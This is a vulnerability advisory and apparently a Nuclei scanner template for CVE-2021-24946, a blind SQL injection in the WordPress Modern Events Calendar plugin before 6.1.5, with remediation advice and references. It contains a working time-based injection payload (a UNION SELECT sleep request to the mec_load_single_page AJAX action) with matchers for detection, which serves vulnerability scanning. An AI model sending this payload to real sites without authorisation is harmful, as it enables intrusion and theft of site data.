WordPress Modern Events Calendar plugin before 6.1.5 is susceptible to blind SQL injection. The plugin does not sanitize and escape the time parameter before using it in a SQL statement in the mec_load_single_page AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
PoC代码[已公开]
id: CVE-2021-24946
info:
name: WordPress Modern Events Calendar <6.1.5 - Blind SQL Injection
author: theamanrawat
severity: critical
description: |
WordPress Modern Events Calendar plugin before 6.1.5 is susceptible to blind SQL injection. The plugin does not sanitize and escape the time parameter before using it in a SQL statement in the mec_load_single_page AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
impact: |
Successful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database.
remediation: |
Upgrade to WordPress Modern Events Calendar version 6.1.5 or later to mitigate this vulnerability.
reference:
- https://wpscan.com/vulnerability/09871847-1d6a-4dfe-8a8c-f2f53ff87445
- https://wordpress.org/plugins/modern-events-calendar-lite/
- https://nvd.nist.gov/vuln/detail/CVE-2021-24946
- http://packetstormsecurity.com/files/165742/WordPress-Modern-Events-Calendar-6.1-SQL-Injection.html
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-24946
cwe-id: CWE-89
epss-score: 0.6014
epss-percentile: 0.9822
cpe: cpe:2.3:a:webnus:modern_events_calendar_lite:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: webnus
product: modern_events_calendar_lite
framework: wordpress
tags: time-based-sqli,cve2021,cve,sqli,packetstorm,wp,wp-plugin,unauth,wpscan,modern-events-calendar-lite,wordpress,webnus
http:
- raw:
- |
@timeout: 10s
GET /wp-admin/admin-ajax.php?action=mec_load_single_page&time=1))%20UNION%20SELECT%20sleep(6)%20--%20g HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'duration>=6'
- 'status_code == 200 || status_code == 500'
- 'contains(content_type, "text/html")'
- 'contains(body, "The event is finished") || contains(body, "been a critical error")'
condition: and
# digest: 4a0a0047304502207049cb44936dc3153f22224d0cf2e357a90e33aceeac1cc6f116c777ed24309b022100916ced6706f7fca1afebd25eb5b8e40416c0e96b500fb74c0504ea52a7eedfd2:922c64590222798bb761d5b6d8e72950